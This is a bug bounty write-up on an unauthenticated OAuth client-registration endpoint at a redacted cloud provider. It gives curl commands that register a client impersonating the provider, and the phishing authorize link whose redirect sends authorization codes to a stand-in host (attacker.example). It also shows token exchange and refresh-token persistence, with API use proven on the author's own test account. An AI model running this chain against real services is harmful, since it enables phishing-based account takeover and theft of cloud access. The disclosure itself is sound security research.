July 16, 2026
One-Click Full Account Takeover: How an Unauthenticated OAuth Endpoint Let Anyone Impersonate a…
About Me

By 0xlight
4 min read
About Me
I'm Mohamed Atef, known in the community as 0xlight. I'm a bug bounty hunter, co-founder of XTIP, a threat intelligence platform, and a cybersecurity student. This writeup walks through an OAuth vulnerability I found and fully verified end-to-end — it was later marked as a duplicate on the program, so I'm sharing the technical details here instead.
TL;DR
While poking around the OAuth infrastructure behind a major cloud provider's "remote MCP" product line, I found that its Dynamic Client Registration (DCR) endpoint — the mechanism meant for OAuth clients to self-register — was completely unauthenticated and unvalidated.
That meant anyone, with no account and no review process, could:
- Register a brand-new OAuth app with any
redirect_uri(no ownership check, HTTP allowed, multiple arbitrary URIs in one request) - Give that app any name, including the provider's own name
- Point its logo at the provider's own hosted logo asset
Put together, that's everything needed to build a pixel-perfect phishing flow that runs entirely on the real, TLS-valid, provider-owned domain — and silently ships a full read+write OAuth authorization code to an attacker-controlled server.
I built and ran the entire attack chain end-to-end against my own test account to prove it was real: registration → impersonated consent screen → intercepted authorization code → exchanged for a live access token → used that token to call the production API. This report was later marked as a duplicate, so someone else beat me to it — but I think the chain is worth documenting.
Lets start
Background: how I found it
I was looking at the OAuth architecture sitting behind this provider's remote MCP servers (something like *.mcp.REDACTED.com). Hitting /mcp unauthenticated returned a WWW-Authenticate: Bearer header pointing at a .well-known/oauth-protected-resource metadata document. That document named the main web app's domain as the authorization server, so I pulled its metadata:
curl -s https://cloud.REDACTED.com/.well-known/oauth-authorization-server
{
"issuer": "https://cloud.REDACTED.com",
"authorization_endpoint": "https://cloud.REDACTED.com/v1/oauth/authorize",
"token_endpoint": "https://cloud.REDACTED.com/v1/oauth/token",
"registration_endpoint": "https://cloud.REDACTED.com/v1/oauth/register",
"..."
}curl -s https://cloud.REDACTED.com/.well-known/oauth-authorization-server
{
"issuer": "https://cloud.REDACTED.com",
"authorization_endpoint": "https://cloud.REDACTED.com/v1/oauth/authorize",
"token_endpoint": "https://cloud.REDACTED.com/v1/oauth/token",
"registration_endpoint": "https://cloud.REDACTED.com/v1/oauth/register",
"..."
}A registration_endpoint is not unusual — DCR exists specifically so native/CLI OAuth clients (like an MCP CLI tool) can register themselves without a human filling out a developer console form. The problem is what it let you register.
The vulnerability
POST /v1/oauth/register required no authentication at all, and did essentially no validation on the fields that matter most for phishing resistance.
Proof — registering a client impersonating the provider itself:
bash
curl -s -X POST https://cloud.REDACTED.com/v1/oauth/register \
-H "Content-Type: application/json" \
-d '{
"client_name": "Cloud Provider X Security Verification",
"redirect_uris": ["https://attacker.example/callback"],
"token_endpoint_auth_method": "none",
"grant_types": ["authorization_code"],
"response_types": ["code"],
"logo_uri": "https://assets.REDACTED.com/logos/logo_icon_blue.svg"
}'curl -s -X POST https://cloud.REDACTED.com/v1/oauth/register \
-H "Content-Type: application/json" \
-d '{
"client_name": "Cloud Provider X Security Verification",
"redirect_uris": ["https://attacker.example/callback"],
"token_endpoint_auth_method": "none",
"grant_types": ["authorization_code"],
"response_types": ["code"],
"logo_uri": "https://assets.REDACTED.com/logos/logo_icon_blue.svg"
}'Response — HTTP 201, immediately, no review step:
{
"client_id": "<CLIENT_ID_REDACTED>",
"client_id_issued_at": 1783916739,
"redirect_uris": ["https://attacker.example/callback"],
"token_endpoint_auth_method": "none",
"grant_types": ["authorization_code", "refresh_token"],
"response_types": ["code"],
"client_name": "Cloud Provider X Security Verification",
"registration_access_token": "<REG_ACCESS_TOKEN_REDACTED>",
"registration_client_uri": "https://cloud.REDACTED.com/v1/oauth/register/<CLIENT_ID_REDACTED>"
}{
"client_id": "<CLIENT_ID_REDACTED>",
"client_id_issued_at": 1783916739,
"redirect_uris": ["https://attacker.example/callback"],
"token_endpoint_auth_method": "none",
"grant_types": ["authorization_code", "refresh_token"],
"response_types": ["code"],
"client_name": "Cloud Provider X Security Verification",
"registration_access_token": "<REG_ACCESS_TOKEN_REDACTED>",
"registration_client_uri": "https://cloud.REDACTED.com/v1/oauth/register/<CLIENT_ID_REDACTED>"
}I confirmed the lack of constraints wasn't a fluke — repeated registrations with plain http:// redirect URIs, and with multiple unrelated third-party domains in a single request, were all accepted with zero errors:
curl -s -X POST https://cloud.REDACTED.com/v1/oauth/register \
-H "Content-Type: application/json" \
-d '{"client_name":"test-http","redirect_uris":["http://attacker.example/callback"],"token_endpoint_auth_method":"none","grant_types":["authorization_code"],"response_types":["code"]}'
# -> 201, plain HTTP accepted verbatim
curl -s -X POST https://cloud.REDACTED.com/v1/oauth/register \
-H "Content-Type: application/json" \
-d '{"client_name":"test-multi","redirect_uris":["https://attacker2.example/cb","http://localhost:1234/cb"],"token_endpoint_auth_method":"none","grant_types":["authorization_code"],"response_types":["code"]}'
# -> 201, no ownership/format restriction on either URIcurl -s -X POST https://cloud.REDACTED.com/v1/oauth/register \
-H "Content-Type: application/json" \
-d '{"client_name":"test-http","redirect_uris":["http://attacker.example/callback"],"token_endpoint_auth_method":"none","grant_types":["authorization_code"],"response_types":["code"]}'
# -> 201, plain HTTP accepted verbatim
curl -s -X POST https://cloud.REDACTED.com/v1/oauth/register \
-H "Content-Type: application/json" \
-d '{"client_name":"test-multi","redirect_uris":["https://attacker2.example/cb","http://localhost:1234/cb"],"token_endpoint_auth_method":"none","grant_types":["authorization_code"],"response_types":["code"]}'
# -> 201, no ownership/format restriction on either URINo allowlist, no ownership verification (e.g. a .well-known challenge on the target domain), no scheme restriction, and — as far as I could tell across several registrations — no rate limiting on the endpoint either.
Building the phishing link
With a registered client_id impersonating the provider, the attack link is just a standard OAuth authorize request:
https://cloud.REDACTED.com/v1/oauth/authorize?client_id=<CLIENT_ID_REDACTED>&redirect_uri=https%3A%2F%2Fattacker.example%2Fcallback&response_type=code&scope=read+write&state=xyzhttps://cloud.REDACTED.com/v1/oauth/authorize?client_id=<CLIENT_ID_REDACTED>&redirect_uri=https%3A%2F%2Fattacker.example%2Fcallback&response_type=code&scope=read+write&state=xyzEverything a victim would see is genuine:
- The domain in the address bar is the provider's real domain, with a valid certificate.
- The logo is hotlinked directly from the provider's own asset host.
- The application name reads as an official, trustworthy string.
- The only attacker-controlled things are the app name and the requested scope — and the scope request (
read write) looks exactly like what a legitimate integration would ask for.
A single click on "Authorize" sends the victim's browser to https://attacker.example/callback?code=<AUTH_CODE>&state=xyz — full read+write authorization code, exfiltrated to a server the attacker controls.
Full end-to-end POC
To remove any doubt, I ran the entire chain against my own test account.
1. Registered a fresh client:
curl -s -X POST https://cloud.REDACTED.com/v1/oauth/register \
-H "Content-Type: application/json" \
-d '{"client_name":"security-research-final-verify","redirect_uris":["https://<attacker-controlled-domain>/callback"],"token_endpoint_auth_method":"none","grant_types":["authorization_code"],"response_types":["code"]}'
{"client_id": "<CLIENT_ID_REDACTED_2>", "..."}curl -s -X POST https://cloud.REDACTED.com/v1/oauth/register \
-H "Content-Type: application/json" \
-d '{"client_name":"security-research-final-verify","redirect_uris":["https://<attacker-controlled-domain>/callback"],"token_endpoint_auth_method":"none","grant_types":["authorization_code"],"response_types":["code"]}'
{"client_id": "<CLIENT_ID_REDACTED_2>", "..."}2. Visited the authorize URL as the "victim" and saw the provider's own, completely legitimate consent screen:
https://cloud.REDACTED.com/v1/oauth/authorize?client_id=<CLIENT_ID_REDACTED_2>&redirect_uri=https%3A%2F%2F<attacker-controlled-domain>%2Fcallback&response_type=code&scope=read+write&state=fasttest&code_challenge=...&code_challenge_method=S256https://cloud.REDACTED.com/v1/oauth/authorize?client_id=<CLIENT_ID_REDACTED_2>&redirect_uri=https%3A%2F%2F<attacker-controlled-domain>%2Fcallback&response_type=code&scope=read+write&state=fasttest&code_challenge=...&code_challenge_method=S256
3. Clicked "Authorize." The raw request landed on my out-of-band listener, Referer confirming it genuinely came from the provider's domain:
GET /callback?code=<AUTH_CODE_REDACTED>&state=fasttest HTTP/2.0
Host: <attacker-controlled-domain>
Referer: https://cloud.REDACTD.com/
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) ... Chrome/150.0.0.0 ...GET /callback?code=<AUTH_CODE_REDACTED>&state=fasttest HTTP/2.0
Host: <attacker-controlled-domain>
Referer: https://cloud.REDACTD.com/
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) ... Chrome/150.0.0.0 ...4. Exchanged the intercepted code for a real access token:
curl -s -X POST https://cloud.REDACTED.com/v1/oauth/token \
-d "grant_type=authorization_code&code=<AUTH_CODE_REDACTED>&redirect_uri=https://<attacker-controlled-domain>/callback&client_id=<CLIENT_ID_REDACTED_2>&code_verifier=<attacker's own PKCE verifier>"
{
"access_token": "<ACCESS_TOKEN_REDACTED>",
"token_type": "Bearer",
"expires_in": 3600,
"refresh_token": "<REFRESH_TOKEN_REDACTED>",
"scope": "read write",
"info": {
"name": "<REDACTED>",
"email": "<REDACTED_EMAIL>",
"uuid": "<REDACTED_UUID>",
"team_uuid": "<REDACTED_TEAM_UUID>",
"team_name": "My Team"
}
}curl -s -X POST https://cloud.REDACTED.com/v1/oauth/token \
-d "grant_type=authorization_code&code=<AUTH_CODE_REDACTED>&redirect_uri=https://<attacker-controlled-domain>/callback&client_id=<CLIENT_ID_REDACTED_2>&code_verifier=<attacker's own PKCE verifier>"
{
"access_token": "<ACCESS_TOKEN_REDACTED>",
"token_type": "Bearer",
"expires_in": 3600,
"refresh_token": "<REFRESH_TOKEN_REDACTED>",
"scope": "read write",
"info": {
"name": "<REDACTED>",
"email": "<REDACTED_EMAIL>",
"uuid": "<REDACTED_UUID>",
"team_uuid": "<REDACTED_TEAM_UUID>",
"team_name": "My Team"
}
}That refresh_token is the sting in the tail: it grants persistent access well beyond the one-hour access-token lifetime, renewable indefinitely until the victim notices and manually revokes it.
5. Used the stolen token against the real, production API:
curl -s https://api.REDACTED.com/v2/account \
-H "Authorization: Bearer <ACCESS_TOKEN_REDACTED>"
{"account":{"email":"<REDACTED_EMAIL>","name":"<REDACTED>","uuid":"<REDACTED_UUID>","email_verified":true,"team":{"uuid":"<REDACTED_TEAM_UUID>","name":"My Team"}, "..."}}curl -s https://api.REDACTED.com/v2/account \
-H "Authorization: Bearer <ACCESS_TOKEN_REDACTED>"
{"account":{"email":"<REDACTED_EMAIL>","name":"<REDACTED>","uuid":"<REDACTED_UUID>","email_verified":true,"team":{"uuid":"<REDACTED_TEAM_UUID>","name":"My Team"}, "..."}}Live, working, read+write+db_write API access — the same token could have created or destroyed compute instances, databases, DNS records, load balancers, and more. I stopped at a read-only call since that was sufficient proof.
Impact
- Full, verified account takeover for any user who authorizes the malicious client —
read+writescope is equivalent to a full-permission personal access token across virtually every resource type the platform manages. - Persistent access via the refresh token — doesn't expire with the one-hour access token; silently renewable unless the victim manually revokes it.
- Zero privilege required to attack — registration needs no account on the platform at all.
- Extremely high believability — the URL, TLS certificate, and logo are all genuinely the provider's; only the app name and requested scope are attacker-chosen, and the name itself can impersonate the provider.
- Scales trivially — one registered client works against unlimited victims via the same link, and an attacker can register many differently-branded clients to diversify lures (e.g. impersonating popular third-party integrations instead of the platform itself).
The End
_— _0xlight